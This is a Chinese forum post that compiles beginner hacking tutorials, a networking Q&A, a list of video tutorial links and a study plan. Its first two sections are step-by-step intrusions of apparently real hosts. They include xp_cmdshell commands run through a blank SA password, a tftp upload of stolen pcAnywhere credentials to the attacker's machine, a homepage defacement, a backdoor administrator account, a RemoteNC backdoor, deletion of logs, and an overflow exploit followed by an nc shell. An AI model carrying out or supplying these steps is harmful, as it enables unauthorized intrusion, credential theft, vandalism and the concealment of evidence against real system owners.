本文由Hazyle贡献

doc1。

本帖最后由 R.E.C--F22 于 2010-6-18 13:21 编辑

一 SQL 入侵教程

先 ping 出目标主机的 IP 地址： 连接 IP 主机: 211.154.xxx.xx…… 发送 56 个字节…… 接收到 56 个字节! 历时: 0 毫秒 结论: IP 主机正在与 Internet 连接中……

接着选择打开扫描器 x-way,选择高级扫描功能。输入目标 IP, 开始扫描。数分钟后得 到扫描结果如下（结果经整理） ：

主机信息 主机名:BEWDB01NOK 80(HTTP) 21(FTP Control) 25(SMTP) 443(HTTPS) 1433(MSSQL) 5631(PCAnyWhere) 用户列表 Administrator (Admin) Guest hacker (Admin) IUSR_BEWDB01NOK IWAM_BEWDB01NOK ogilvy remoteuser (Admin) 漏洞： /\../readme.txt (HTTP: 200) /msadc/msadcs.dll (HTTP: 200) /iisadmpwd/achg.htr (HTTP: 200) /_AuthChangeUrl (HTTP: 200) /?PageServices (HTTP: 200)

上一步中得到目标服务器的相关有用信息。可以发现扫描结果中并无可用的 asp/cgi 漏 洞。而从所开端口来看,

21(FTP Control)

1433(MSSQL) 5631(PCAnyWhere) 只有这三个可用。在万一得已的情况下, 我是不会用暴力破 ftp 的。那么只好从 1433,5631 这两个端口入手了！我们知道, 1433 是 ms-sql 的服务端口, 默认情况下它的最高 权限用户帐号 SA 口令为空。如果管理员疏忽了这一点, 没有给ＳＡ一个口令的话, 事情就 好办了！先来试试看。从 www.tianxing.org 下一个 ms-sql 的客户端, 在 Host 框中输入目标 ip:211.154.xxx.xx Username 为 sa password 框空, 连接：

SQL>Connecting 211.154.xxx.xx SQL>Connected to 211.154.xxx.xx

呵呵！看来对方管理员没有对 sa 设置一个口令！太好了！可以在客户端以 xp_cmdshell " "的形式运行任意 dos 指令了！dir 一下试试看： SQL>Command: xp_cmdshell "dir c:\" 驱动器 C 中的卷没有卷标。 卷的序列号是 5CBD-664C 卷的序列号是 5CBD-664C c:\ 的目录 c:\ 的目录 01-12-20 08:13p 2u2u 01-07-23 08:10p 0 AUTOEXEC.BAT 01-11-28 04:02p 84 biaoti.txt 01-07-23 08:10p 0 CONFIG.SYS 01-11-22 11:49a InetPub 01-10-25 11:12a 15,360 kkkk.XLS 01-07-24 12:09p MSSQL7 01-12-12 11:00a 134,217,728 pagefile.sys 01-11-30 10:59a Program Files 01-09-04 02:43p 136 sp_attach.sql 01-12-20 04:12p temp 01-09-27 11:14a unzipped 01-12-15 12:09a WINNT 13 个文件 134,233,308 字节 54,232,576 字节可用

54,232,576 字节可用 这时我们便可以改对方的主页了！前提是先找到对方的 web 目录！来找找看 …… ＸＸ分钟后, 满头大汉, 乖乖！竟然有Ｘ个盘, 每个盘下又有ＸＸ个目录, 这样找下去得何 年何月？不成！要是有 windows 界面的形式就好找的多了！想想看, 目标主机还开着 5631 端口, 这正是 pcanywhere 远程管理端口呀！取了它的管理帐号和密码不就得了吗？不错的 想法, 呵呵…… 默认情况下, pcanywhere 安装于 c:\Program Files 目录下, data 目录下的.cif 文件中保存着 其 加密过的连接帐号和密码。只要得到此文件, 就可以用一个叫 pcanywherepwd 的软件快速 解出密码！

且看如何得到这个.cif 文件。先用 x-way 的内置 tftp 服务器在本机建立 tftp 服务： 选择“工具”菜单中的 tftp 服务器。设置一个默认根目录, 点启动即可！ 然后再用 ms-sql 客户端在目标服务器执行如下指令： copy c:\progra~1\pcany

where\data\New Caller.CIF c:\winnt\system32 tftp -i 本地 ip put New Caller.CIF

命令执行成功，这个 cif 文件已被传到本地 tftp 目录下了！ 此时，用 pcanywherepwd.exe 破解此文件，得到用户名为：administrator 密码为：amsrepair

打开 pcanywhere manager 建立一个指向 211.154.xxx.xx 的通道。在 setting 项中选择 network host pc to control or ip adress，并添上目标 ip：211.154.xxx.xx 选中 login information 项中的 automatically login to host up connection 并在下面的 login name 和 password 栏中添入刚才得到的用户名和密码！确定即可。双击新 建立的通道，稍等片刻即可看到了对方桌面。这下好搞了，呵呵～～在 g:\home\wwweb\目录下，终于找到了他们的 index.htm。删！再手动定一个简单的文件:

hacked 保存为：index.htm

修改主页完成。

该留个后门了，这是个 NT 主机，用小榕的 RemoteNC 做后门最好不过了！ 先给系统加个超级用户，用 ms-sql 来做： net user wing wing /add net localgroup administrators wing /add

从对方桌面上打开 ie 连到小榕的站上下载 RemoteNC，然后进入命令提示行状态,键入： RemoteNC 211.154.xxx.xx wing wing LocalSystem "RemoteNC" "Provide Local CMD Redirect" 7 123456 系统显示： [Install Service as RunasUser Mode] Connecting 211.154.xxx.xx …… Done. Transffer File …… Done. Start Service …… Done.

Now You can 211.154.xxx.xx to Connect，Have a Joy 安装成功

这样在任何时候都可以 telnet 211.154.xxx.xx 7 输入密码：123456 即可使用系统任何资源了！

接下来该清理战场了，在 ms-sql 下停掉对方的 ftp 和 www 服务： net stop msftpsvc net stop w3svc 删除 c:\winnt\system32\logfile 下的所有文件。 再将服务恢复： net start msftpsvc net start w3svc

二.黑客攻击的基本步骤

互连网的普及随之带来的很多问题，现在安全越来越让人们重视，让人感觉黑客无孔不入， 对黑客的技术感到很神秘， 都想知道黑客是怎么实现攻击的， 今天我就来简单的讲讲黑客攻

击的基本步骤。 让我们先来认识一下 hacker 这个词，有人认为它是计算机天才的代表词，有人认为它代表 着攻击，到底 hacker 这个词是指什么呢？现在的媒体已经将这个词定义成贬义的了，其实 在早期这个词是指哪些对计算机有很深研究的一部分人， 他们有着很专业的计算机知识， 今 天媒体讨论的 hacker 这个词在黑客界只是代表 cracker(有着和 hacker 一样的技术， 但他们以 搞破坏为主，以入侵窃取资料作为他们的工作和游戏)，但在黑客资料漫天飞的今天谈论这 个已经没有意义了，因为 hacker 和 cracker 只隔着一层意念。 好了，我们不要在为 hacker 这个伤脑筋词在说什么了。来讲讲黑客是怎样入侵的吧。 黑客的入侵好比一场战斗，首先要做的就是探测，然后就是对得到的资料进行分析，整理入 侵资料，制定入侵计划，最后才实施入侵，其实入侵的时间是很短的。也许这样讲还有很多 人感到迷惑，那我就结合实际来讲讲吧。 首先，我们选择适合自己的扫描器：x-scan、x-way、流光、superscan,都是不错的扫描器,如 果你是新手的话建议用流光和 x-way(本人对这个两个软件强大的功能十分佩服，但不太喜 欢用，本人偏爱的还是 x-scan)。以下就是我用 x-scan 扫描到的一个机器的信息。 ********** ********** ********* X-Scan v2.3 检测报告 [扫描结果索引]: "218.91.237.159" 开放端口 SQL-Server 弱口令 FTP 弱口令 NT-Server 弱口令 IIS 漏洞 [NetBios 信息] 远程注册表信息 服务器信息 主域控制器名称 网络传输列表 网络会话列表 网络服务器列表 网络磁盘列表 网络共享资源列表 网络用户列表 本地组列表 组列表 网络文件列表 计划任务列表 网络映射列表 详细资料 [开放端口] 端口 113 开放: Authentication Service [Banner] [None] [End of banner] 端口 135 开放: Location Service [Banner]

[None] [End of banner] 端口 139 开放: NETBIOS Session Service [Banner] [None] [End of banner] 端口 445 开放: Microsoft-DS [Banner] [None] [End of banner]

插件类型: PORT 插件成员名称: 开放端口 插件作者: glacier 插件版本: 1.7 风险等级: 低 漏洞描述: "安全焦点"漏洞搜索引擎 "安全焦点"漏洞利用程序搜索引擎 [SQL-Server 弱口令] [FTP 弱口令] [NT-Server 弱口令] [NetBios 信息] [服务器信息 Level 101]: 主机名称: "218.91.237.159" 操作系统: Windows NT 系统版本: 5.1 注释:"" 主机类型: WORKSTATION SERVER POTENTIAL_BROWSER MASTER_BROWSER [服务器时间]: 12-15-2003 15:38:59 GMT [网络会话列表 Level 10]: AMD\ 活动:151 Sec., 空闲:151 Sec. AMD\ 活动:12 Sec., 空闲:0 Sec.

[网络服务器列表 Level 101]: 主机名称:"QUN700JUIPQX6WJ" 操作系统: NT v 5.1 注释:"" 主机类型: WORKSTATION SERVER POTENTIAL_BROWSER MASTER_BROWSER [网络共享资源列表 Level 1]: "IPC$": 进程间通信(IPC$) - [远程 IPC] (System) 插件类型: NETBIOS 插件成员名称: NetBios 信息 插件作者: glacier 插件版本: 1.1 风险等级: 高 漏洞描述: "安全焦点"漏洞搜索引擎 "安全焦点"漏洞利用程序搜索引擎 [IIS 漏洞] 扫描全部完成 ********** **********

从上面的报告来看我们得知的信息有以下几点： 1.主机的的操作系统为 Windows NT 系统版本: 5.1 它的时间为 12-15-2003 15:38:59 GMT。 2.主机的名称为"QUN700JUIPQX6WJ"。 3.主机开放的端口有 113 135 139 445。 4.主机有 IPC$共享资源。 以上的信息足以发起一次攻击， 但我们为了安全应该再多收集一些关于该主机的资料。 对于 以上的信息我们可以用最近最新的漏洞来攻击，比如它开着 135 和 445 我们就可以用 workstation 远程溢出漏洞来试试。也可以用 crackerpasswd.exe 来暴力破解它的管理员密码， 总之开着 135、139、445 的主机是很危险的，有很多的漏洞就是基于这几个端口的。 上面的主机我也没攻击，为了大家能够了解攻击全过程，我们假设来攻击这个主机。我们就 用最近刚发布的漏洞 Windows Workstation 远程溢出漏洞来攻击。我们可以到黑客站点获取 溢出代码或者溢出工具，然后就是进行攻击。请看下面（下面只是一个假设的例子！： ） ********** ********** **** D:\heike\tools\溢出>workstation.exe Windows Workstation ms03-049 wkssvc.dll buffer overflow

bug discoveried by eEye,code by Hanabishi,shellcode by oc.192 Modified by sbaa(sbaa@163.net) 2003/11/16 ver 0.2 Usage: On 2k : workstation.exe IP --> attack 2k without ntfs On xp : workstation.exe IP 2k --> attack 2k without ntfs workstation.exe IP --> attack xp Next open another window : nc Ip 1234 --> Get cmd shell @.@ ********** ********** ***** 以上是工具的用法 ********** ********** ****** D:\heike\tools\溢出>workstation.exe 218.91.237.159 can't find NetAddAlternateComputerName (Now try to attack 2k!)

出现如上信息的话，我们就可以用 nc.exe 来连接主机了 ********** ********** **** D:\heike\tools\溢出>nc 218.91.237.159 1234 Microsoft Windows 2000 [Version 5.00.2195] (C) 版权所有 1985-2000 Microsoft Corp.

C:\>WINNT\system32> ********** ********** ****** 到了这里我们就进入了主机，可以做自己想做的事了，找资料，做后门……等到一切都做好 了以后我们就可以清除日志走人了

三.黑客入门篇初级知识问答

给电脑新手的东东，呵呵~~~，如果你自认为已经很厉害了，那么就请把这篇狗屁文章推给 那些刚上网的朋友吧。

Q=question(问) A=answer(答)

Q:windows 下 ping 命令怎么用呀?? A:在 MS-DOS 下打： ping ip/host 打 ping /?

看详细说明 （不过是 E 文的哟）

Q:那么 windows 下还有哪些实用的网络命令呢？A： PING 命令:用于从一个主机向另一个主机发送 Internet 控制消息协议（ICMP）数据包。ping 使用 ICMP ECHO-REQUEST 命令传送数据包，并且对每一个传送的数据包期望得到一个 ICMP ECHO-REQUEST“ping”这个名字来源于声的探测设备（声纳），这种设备使用一种类 似“ping”的声音的声波确定周围区域的目标。 NETSTAT 命令:用于查询与某类信息有关的子系统。打印路由选择表、活动连接、正在使用 的流以及其他一些信息。 NBTSTAT 命令:用于查看当前基于 NETBIOS 的 TCP/IP 连接状态，通过该工具你可以获得 远程或本地机器的组名和机器名 ARP 命令:用于显示并修改 Internet 到以太网的地址转换表。这个表一般由地址转换协议 （ARP）来维护。当只有一个主机名作为参数时，arp 显示这个主机的当前 ARP 条目。如果 这个主机不在当前 ARP 表中那么 ARP 就会显示一条说明信息。 IPCONFIG（Windows 95 里叫 WINIPCFG）命令:用于显示两条信息，IP 配置信息和 IP 配置 参数， 它能报告出你机器中的拨号网络适配器和以太网卡的信息， 以下给出了一个拨号网络 适配器的部分信息 用网络命令 /?可以查看其说明 如:ping /? Q:怎么样打开注册表编辑器 A:开始>>运行>>输入 regedit>>点确定

Q:中了视窗炸弹(多指包含有恶意代码的网络文件)了，怎么办? A:按 Ctrl+Alt+Del 然后把那个有炸弹的主窗口关掉.最好是关掉本机的 java 功能，不轻易打 开别人发你给你的 url(统一资源定位符的意思，简单的说就是那个一大串长的网址)。

Q:我怎么才能查出我上网时的本机 IP？

A:在命令行下打 ipconfig

Q:我能从 IP 找出那个人用的是那一个 ISP 和国家吗?? A: 有好多工具有这个功能，最实用的有一个叫追捕的。可以到华军下一个(www.newhua.com)，进到华军主页以后，点左边的软件分类，在下一页上选网络工具那一 类当中的 IP 工具，打开后，第一个工具就是你要下的追捕，当然还有好多，IP 工具建义把 那个叫什么网络助手的也下了，一个不错的网络工具，功能强大。追捕的压缩包里有一个叫 wry.dll 的文件，你把扩展名改为 wry.doc 或是 wry.txt，里面是 IP 分配，慢慢看吧，挺有意 思的。

Q:电脑被 e 人入侵了，怎么办? A:去装个防火墙，或用杀木马的程序把本机中的木马杀掉。 另外不要轻易下载并执行不安全 的.exe 文件，不要乱打开陌生人发来的信的附件。

Q:请 xxx.yeah.net/xxx.126.com 这样的域名是怎么弄的?（wk,这样的问题也来问， 惨～～） 哎， A:你可以去免费的域名提供商 my.yeah.net 申请一个，前提是你最好先要有一个主页空间。 如果你手里银子多的话可以花几个子儿去买一个顶级域名(就是这样的 www.youname.com/net/org/……)，看上去就过瘾，嘿嘿~~

Q:我有一个免费的空间，为什么不能放 asp,cgi,php 之类东西呢，天呀？ A:据我所知，好象要使你的主页也能支持 asp,cgi,php 得花一些银子，租个空间，hehe~~,免 费的就是免费的，不可能给你太多的功能的。

Q:常见的端口号及相应的服务有哪些？ A:21 FTP-文件传送 （用 CuteFtp 等 Ftp 软件维护网站用的就是该协议）23 TELNET - 远程 登录 （管理员和黑客远程控制系统的最基本手段）25 SMTP - 邮件发送 （Outlook Express 或 FoxMail 等邮件程序发 Email 用）53 DNS - 域名解析 （实现域名和 IP 地址之间的转换） 80 HTTP - Web 服务 （最常用的为 Internet Explorer 等浏览器提供网页服务）110 POP3 - 邮 件接收 （Outlook Express 或 FoxMail 等邮件程序收 Email 用）…… 端口范围为 0-65535， 0-1024 为系统使用，剩下的用户自己定义，所以聊天软件和木马等 使用的端口大多都大于 1024。

Q:你好，能不能告诉我 ICMP 是啥东西？ A:ICMP 的全称是 Internet Control Message Protocol（网间报文控制协议） ，它是 IP 不可 分 割的一部分，用来提供错误报告。一旦发现各种错误类型就将其返回原主机，我们平时最常 见的 ping 命令就是基于 ICMP 的。你可以在网上找一下详细的资料看看。

Q:你好，我用的是 win98 听说 netbios 这个东西很烦人，我怎么样关掉它呀？ A:首先，打开控制面板，进入“网络”对话窗，在配置表中，查看列表中是否已有 NetBEUI 组件，如果有，则直接跳过下一段。如果在列表中没有 NetBEUI 组件，则先点击“添加”按 钮，在“要安装的网络组件类型”列表中，选择“协议”一项，再次点击“添加”，在“网络协议” 对话窗中，选择 Microsoft 的 NetBEUI，然后，插入 Windows 安装盘，点击“确定”即可。 回到“网络”对话窗， 在网络组件中选择“拨号适配器”， 点击“属性”， 在“属性”对话窗中选择“绑 定”按钮，将除 TCP/IP 之外其它协议的复选框里的小勾清除掉。最后，再次回到“网络”对话 窗，选择 TCP/IP 协议，点击“属性”，这时有可能会弹出一个警告窗口，不用理它，直接点 “OK”就行了，进入 TCP/IP 的“属性”窗口后，选择“绑定”，将所有网络协议复选框内的小 勾去掉，点击“确定”，这时，Windows 会提示你至少应选择一种协议，仍然不用理它，点 击“No”，关闭窗口。重新启动你的计算机，这样，你计算机中的 NetBIOS 后门就已被关闭 了。这样一来，NetBIOS 已从你计算机的 TCP/IP 协议中去除,当然，你最好检查一下·作是 否成功： 回到“网络”对话窗， 选择 TCP/IP 协议， 点击“属性”， 在“属性”窗口中点击 NetBIOS 栏，这时，你会看到“我希望在 TCP/IP 协议中开启 NetBIOS (I want to enable NetBIOS over TCP/IP)”一项，该项前面的复选框应该没有打勾。现在，你就可以放心地在网络中漫游， 而不必再担心有人会通过 NetBIOS 入侵你的电脑，我的天呀，手好累哟

Q:我的电脑被 e 人用 IGMP 一直弄当机，怎么办? A:去下载一下补丁包或是上防火墙(天网的个人版就不错，不是很大，可以试试)天网网址是 sky.net.cn。 还有其他的防火墙工具如： LockDown 2000 等， 可以在网上找一找， 下一个装上， 祝你好运~~~~~~~~~~。

Q:为什么我的 windows]有 MS-DOS 模式? (K，不会吧，我的怎么有呢？) A:其实这可能是因为你没有耐心找到，开始>> 关闭系统>>重新启动计算机并切换到 MS-DOS 方式或开始>>程序>>MS-DOS 方式就行了。

Q:要如何隐藏上网的 IP 呢? A:最简单的方法是通过 Proxy(代理)上网,你可以用代理猎手搜一下。代理猎手黑白网络 (www.521hacker.com)上就有，不过我昨天帮朋友下，怎么没下来呢，K~~~~。

Q:我上网密码被盗用了怎么办? A:马上给你的 ISP 打电话寻求帮助，然后学的聪明一点儿，不要把密码存在电脑中，用查木 马的软件查一下本机，看有没有中木马程序，如果有，就赶快杀掉。如果没有，就要小心， 害人之心不可有，但防人之心不可无呀，兄弟。

Q:我刚装了 Linux，但是却不能开机，怎么办? A: 为了要让你的机子还能继续跑 windows，MS-DOS 下(别告诉我你还找不到 MS-DOS)打 fdisk /mbr 把 lilo 清掉

Q:我在重编 Linux 核心后就不能开机了，为什么? A:可能是因为你没有把 lilo 再装一次，记住，在编好 Linux 核心后打 lilo 指令重 blilo，或用 Linux 启动盘再 b 一次 lilo。

Q:为什么我上传的网页跟我在电脑里看到的不一样，有的文件还找不到!555~~~ A:在某些网络服务器上对文件的大小写是有区别的，请确定你在编写网页时的大小写文件 名。还有就是有些免费的主页空间的系统默认的文件名是.html，而不是通常我们做完后 的.htm，网易的空间就是这样，所以用 DW３等网页制作工具做完后，在上传前先把扩展名 改一下， 而且网页文件最好不要用中文名。 还有一个可能就是路径的问题， 可能是路径错误， 在本地机上的网页文件最好全放在一个文件夹内，并且使用相对路径连接。 Q:UNIX，Linux，Windows 这三种操作系统有何不同? A:Windows 可能就是你现在正在使用的操作系统， 因为目前国内绝大多数家庭和个人用户都 用这个。 如果你是一个已经在用 Linux 或 UNIX 的朋友，对这个 FAQ 就不用看了。 Linux 是一个诞生于网络， 成长于网络且成熟于网络的奇特的操作系统。 由于他是一个类 UNIX 的 操作系统,完全遵从 UNIX 的 POSIX 标准， 而且它的硬件要求远远低于一些著名的 UNIX 版 本， 只要一台 386 以上的 PC 机就能运行了， 所以他是学习 UNIX 的一个最适合的版本。 UNIX 是一个 32 位或是 64 位的非常方便的多用户，多任务的操作系统。具有完整的 TCP/IP 客户 和服务器套件。UNIX TYPE 的

system 有很稳定的特性，很少当机,且效率高,Internet 上的服 务器多数是用 UNIX 的。 但是 UNIX 版本繁多， 相互存在不兼容的问题。 如果想知道的更多， 可以在网上找详细的资料。

Q:我听人家说用 NT 或 Linux 能直接入侵 e 人电脑! 这是真的吗?(哇好酷~~， 我也要做黑客， xixi~~~~~) A:错，一个操作系统的高级性和能不能入侵是不成正比的，因为能不能入侵是完全取决于你 的技术和知识(如果你连 MS-DOS 和注册表在哪都找到，那就先不要想这些了)而不是电脑 操作系统的强大性。这一点请大家要弄清楚，常看到有人乱传说用这类系统就能直接入侵，听了觉得很好笑，反正我是不懂入侵的，因为俺是小菜。

Q:我从外面主机上下载了 PASSWD 文件，为什么不能解出密码？(好急呀，汗都下来了) A:原因有很多 1.你下载下来的是 shadow 过的密码档 2.你的解码工具指令有错误

3.你的字典档中没有这类密码字符串 现在绝大多的主机对密码都有做过 shadow 了，可以说是 10 台里有 10 台是这样做的，简单 的抓 PASSWD 密码档，做 root 已经成为历史了。

Q:我在一些高手的主页上看到留有 OICQ，可是我加了他们后都不理我，不回答我的问 题?(真让我伤心，本来好崇拜他们的) A:原因有好多 1.可能是因为高手们很忙，没时间去回答你的问题 2.也可能是你的问题太菜了些，高手们对于你的问题觉得没有挑战性，回答会浪费时间 3.高手们用 QQ 通常都是拿来跟朋友聊一些技术问题或是泡妹妹(呵呵， 可能这是他们心的真 正原因吧，~~~~~~我是乱说的，你可别当真)用的 4.还有最后一点是，你在把那些高手加为好友的时候，他们可能没有加你。等到下次你开 QQ 的时候，你在他们的陌生人里，呵呵，所以…… …… 好好学习吧，想着自己以后要成为什么样的高手。:有时候我的电脑上突然出现一些错误信 息，一大堆字屏幕也变色了，好怕。用笔抄的手都软了，有什么 k 法直接把那些错误的信息直接记下吗? (我的手现在还痛呢) A:能! 如果你是在纯 MD-DOS 模式下，请把打印机插上，直接在键盘上按 Print Screen/SysRq 键就能直接把屏幕上的字都印出来了!(什么。。你没有打印机， ５５５５５~~~~~~，和我一 。 样) 或是你再跑一次指令，然后把那指令的错误信息都转到文件里，如: 程序.exe err.txt 然 后会有一个 err.txt 的文件生成，你直接把此文件贴到网上各大电脑网络相关的书屋(建议上 www.s8s8.net，不错的，我就常在这)上，请高手们帮忙(s8s8.net 上有不少热心人的)。如果 你是在 windows 下运行的，也可以按 Alt+Print Screen/SysRq 然后打开画板程序，copy 上就 行了。这样就存成了一个.bmp 的文件，然后找一个什么图象转换工具转换格式再压缩，贴 到书屋上去，请高手们帮你解决。

四.黑客视频教程地址

01 ping 命令的使用 http://images.enet.com.cn/eschool/wmv/ping.wmv

02 netstat 命令的使用 http://images.enet.com.cn/eschool/wmv/netstat.wmv

03 tasklist 和 taskkill 的使用 http://images.enet.com.cn/eschool/wmv/tasklist.wmv

04 扫描器 X-SCAN 的使用(上) http://images.enet.com.cn/eschool/wmv/x-scan1.wmv

05 扫描器 X-SCAN 的使用(下) http://images.enet.com.cn/eschool/wmv/x-scan2.wmv

06 先试手:Ipc 漏洞 http://images.enet.com.cn/eschool/wmv/ipc.wmv

07 shed 共享扫描器的使用 http://images.enet.com.cn/eschool/wmv/shed.wmv

08 superscan3 扫描器的使用 http://images.enet.com.cn/eschool/wmv/superscan3.wmv

09 流光扫描器的应用 http://images.enet.com.cn/eschool/wmv/liuguan.wmv

10 win2000 自动攻击器的使用 http://images.enet.com.cn/eschool/wmv/win2000.wmv

11 俄罗斯扫描器 SSS 简单使用 http://images.enet.com.cn/eschool/wmv/sss.wmv
12 dameware 远程管理工具的使用 http://images.enet.com.cn/eschool/wmv/dameware.wmv
13 找回 ADSL 拨号的密码 http://images.enet.com.cn/eschool/wmv/adsl.wmv
14 缓冲区及溢出的道理视频教程 http://images.enet.com.cn/eschool/wmv/01.wmv
15 溢出例子和分析视频教程 http://images.enet.com.cn/eschool/wmv/02.wmv
16 Shellcode 介绍视频教程 http://images.enet.com.cn/eschool/wmv/03.wmv
17 缓冲区溢出简单利用视频教程 http://images.enet.com.cn/eschool/wmv/04.wmv
18 构造利用视频教程 http://images.enet.com.cn/eschool/wmv/05.wmv
19 FOXMAIL 漏洞编写-漏洞公告 http://images.enet.com.cn/eschool/wmv/06-1.wmv
20 FOXMAIL 漏洞编写-溢出定位 http://images.enet.com.cn/eschool/wmv/06-2.wmv
21 FOXMAIL 漏洞-shellcode 编写 http://images.enet.com.cn/eschool/wmv/06-3.wmv
22 IIS.printer 利用程序 http://images.enet.com.cn/eschool/wmv/07.wmv
23 JMPCALL EBX 溢出利用方式 http://images.enet.com.cn/eschool/wmv/08s1.wmv
24 JMP ESP 改写 JMP EBX 课程 http://images.enet.com.cn/eschool/wmv/09tr.wmv
25 IDQ-IDA 漏洞利用程序编写 http://images.enet.com.cn/eschool/wmv/010.wmv.wmv
26 ShellCode 的基本概念 http://images.enet.com.cn/eschool/wmv/0011.wmv
27 打开 CMD 的方法-1 http://images.enet.com.cn/eschool/wmv/12-1.wmv
28 打开 CMD 的方法-2 http://images.enet.com.cn/eschool/wmv/12-2.wmv
29 打开 CMD 的方法-3 http://images.enet.com.cn/eschool/wmv/12-3.wmv
30 打开 CMD 的方法-4 http://images.enet.com.cn/eschool/wmv/12-4.wmv
31 shellcode 通用性初步探讨 http://images.enet.com.cn/eschool/wmv/0013.wmv
32 Windows 对话框的编写-1 http://images.enet.com.cn/eschool/wmv/014-1.wmv
33 Windows 对话框的编写-2 http://images.enet.com.cn/eschool/wmv/0014-2.wmv
34 给系统添加用户-1 http://images.enet.com.cn/eschool/wmv/015-1.wmv
35 给系统添加用户-2 http://images.enet.com.cn/eschool/wmv/00015-2.wmv
36 黑客工具 NC 的使用教程 http://images.enet.com.cn/eschool/wmv/nc.wmv
37 智能 ABC 和 guest 帐号问题 http://images.enet.com.cn/eschool/wmv/abc.wmv
38 MS05039 漏洞利用教程 http://wmv/nc.wmvhttp://wmv/nc.wmv 39 Iris 分析 TCP_IP 协议谈-001 http://images.enet.com.cn/eschool/wmv/Iris1.wmv
40 Iris 分析 TCP_IP 协议谈-002 http://images.enet.com.cn/eschool/wmv/Iris2.wmv
41 Iris 分析 TCP_IP 协议谈-003 http://images.enet.com.cn/eschool/wmv/

Iris3.wmv
42 在系统中建立隐藏帐号 http://images.enet.com.cn/eschool/wmv/hideuser.wmv
43 autorun 介绍与利用 http://images.enet.com.cn/eschool/wmv/autorun.wmv
44 iis 的安全配置介绍 http://images.enet.com.cn/eschool/wmv/iis.wmv
45 realplay 网页木马的制作方法 http://images.enet.com.cn/eschool/wmv/realplay.wmv
46 radmin 远程管理的配置 http://images.enet.com.cn/eschool/wmv/radmin.wmv
47 Virtual PC 虚拟机的使用 http://images.enet.com.cn/eschool/wmv/virtualpc.wmv
48 pstools 工具包简单使用 http://images.enet.com.cn/eschool/wmv/pstools.wmv
49 telnet 和 ntlm 认证问题 http://images.enet.com.cn/eschool/wmv/telnet.wmv
50 堆栈和堆缓冲区溢出比较-001 http://images.enet.com.cn/eschool/wmv/dui001.wmv
51 堆栈和堆缓冲区溢出比较-002 http://images.enet.com.cn/eschool/wmv/dui002.wmv
52 堆栈和堆缓冲区溢出-003 http://images.enet.com.cn/eschool/wmv/dui003.wmv
53 堆栈和堆缓冲区溢出比较-004
http://images.enet.com.cn/eschool/wmv/dui004.wmv
五.黑客是怎样炼成的
编者：关于黑客是怎样炼成的，网上有了 n 个版本了。不过多数是哗众取宠。看看这个吧，是我在网上所能看到的最详细的教程了. 相信对你一定会有好处的。
基础： 如何去学习 ·要有学习目标 ·要有学习计划
·要有正确的心态 ·有很强的自学能力
学习目标 ·1.明确自己的发展方向(你现在或者将来要做什么,程序员?安全专家?网络黑客等) ·2.自己目前的水平和能力有多高 ·能简单操作 windows2000 ·能简单配置 windows2000 的一些服务 ·能熟练的配置 Windows2000 的各种服务 ·能熟练配置 win2000 和各种网络设备联网 ·能简单操作 Linux,Unix,Hp-unix, Solaris 中的一种或者多种操作系统 ·能配置 cicso,huawei,3com,朗迅等网络设备 ·会简单编写 C/C++,Delphi,Java,PB,VB,Perl ·能简单编写 Asp,Php,Cgi 和 script,shell 脚本
·3.必须学会不相信态度,尊重各种各样的能力 ·不要为那些装模做样的人浪费时间 ·尊重别人的能力, ·会享受提高自己能力的乐趣. ·在知道了自己的水平和能力之后就要开始自己的目标了 ·安全专家 ·黑客 ·高级程序员 ·黑客是建设网络,不是破坏网络, 破坏者是骇客; ·黑客有入侵的技术,但是他们是维护网络的,所以和安全专家是差不多的; ·因为懂得如何入侵才知道如何维护 ·因为懂得如何维护才更要了解如何入侵 ·这是 黑客与安全专家的联系 ·但,他们都是在会编程的基础上成长的! ·下面我们开始我们的学习计划!
学习计划 有了学习计划才能更有效的学习
安全学习计划
不奢求对 win98 有多么精通,我们也不讲解 win98 如何应用,如何精通,我们的起步是 win2000 s erver,这是我们培训的最低标准,你对英语有一定的了解也是必不可少
最基础 ·a.会装 win2000,知道在安装的时候有两种分区格式,NTFS 与 FAT32 及他们的区别,知道 win2 000 可以在安装的时候分区,格式化硬盘, 可以定制安装,可以定制自己需要安装的一些组件 ,如果有网络适配器,可以直接加入域中 学习点:NTFS 和 FAT32 分区的不同 各个组件的作用 域的定义 ·b.知道如何开,关机 知道注销

的用处 ·c.知道 win2000 下面各主要目录的作用 Documents and Settings,WINNT, system32 Progra m Files ·d.知道管理工具里面各个组件的定义 ·e.学会应用命令提示符 cmd(dos) ·f.知道计算机管理里面的各个选项的不通 ·g.知道 win2000 强大的网络管理功能 ·h.能非常熟练的操作 win2000 ·i.知道 IP 地址,子网掩码,网关和 MAC 的区别

进阶 ·A.配置 IIS,知道各个选项的作用 ·B.配置 DNS,DHCP ·C.配置主控制域,辅助域 ·D.配置 DFS ·E.配置路由和远程访问

·F.配置安全策略 IPSEC ·G.配置 service(服务) ·H.配置磁盘管理,磁盘分额 ·i. 配置 RAID(0,1,0+1,5) ·J.路由器的安装与简单配置 ·K.交换机的安装与简单配置 ·L.常见的 VPN,VLAN,NAT 配置 ·M.配置常见的企业级防火墙

·N.配置常见的企业级防病毒软件

高级 ·之前我们学到的是任何一个想成为网络安全专家和黑客基本知识中的一部分 ·你作到了吗?? ·如果你做到了,足以找到一份很不错的工作!

配置负载均衡 ·配置 WIN2000+IIS+EXCHANGE+MSSQL+SERVER-U+负载均衡+ASP(PHP.CGI)+CHECK PIONT(ISA SERVER) · ·配置三层交换网络 · ·配置各种复杂的网络环境 ·能策划一个非常完整的网络方案 · ·能独自组建一个大型的企业级网络 ·

·能迅速解决网络中出现的各种疑难问题

结束 ·在你上面的都学好了,你已经是一个高级人才了,也是我们 VIP 培训的目标! ·可以找到一份非常好的工作 ·不会再因为给女朋友买不起玫瑰而发愁了!

安全： 导读 ·系统安全服务(SYSTEM) ·防火墙系统(FIREWALL) ·入侵检测(IDS) ·身份验证(CA) ·网站监控和恢复(WEBSITE) ·安全电子商务(E-BUSINESS) ·安全电子邮件(E-MAIL) ·安全办公自动化(OA) ·Internet 访问和监控(A&C) ·病毒防范(VIRUS)

·虚拟局域网(VPN)

系统安全服务

·系统安全管理 ·系统安全评估 ·系统安全加固 ·系统安全维护 ·安全技能学习

系统安全管理 ·信息系统安全策略 ·信息系统管理员安全手册 ·信息系统用户安全手册 ·紧急事件处理流程

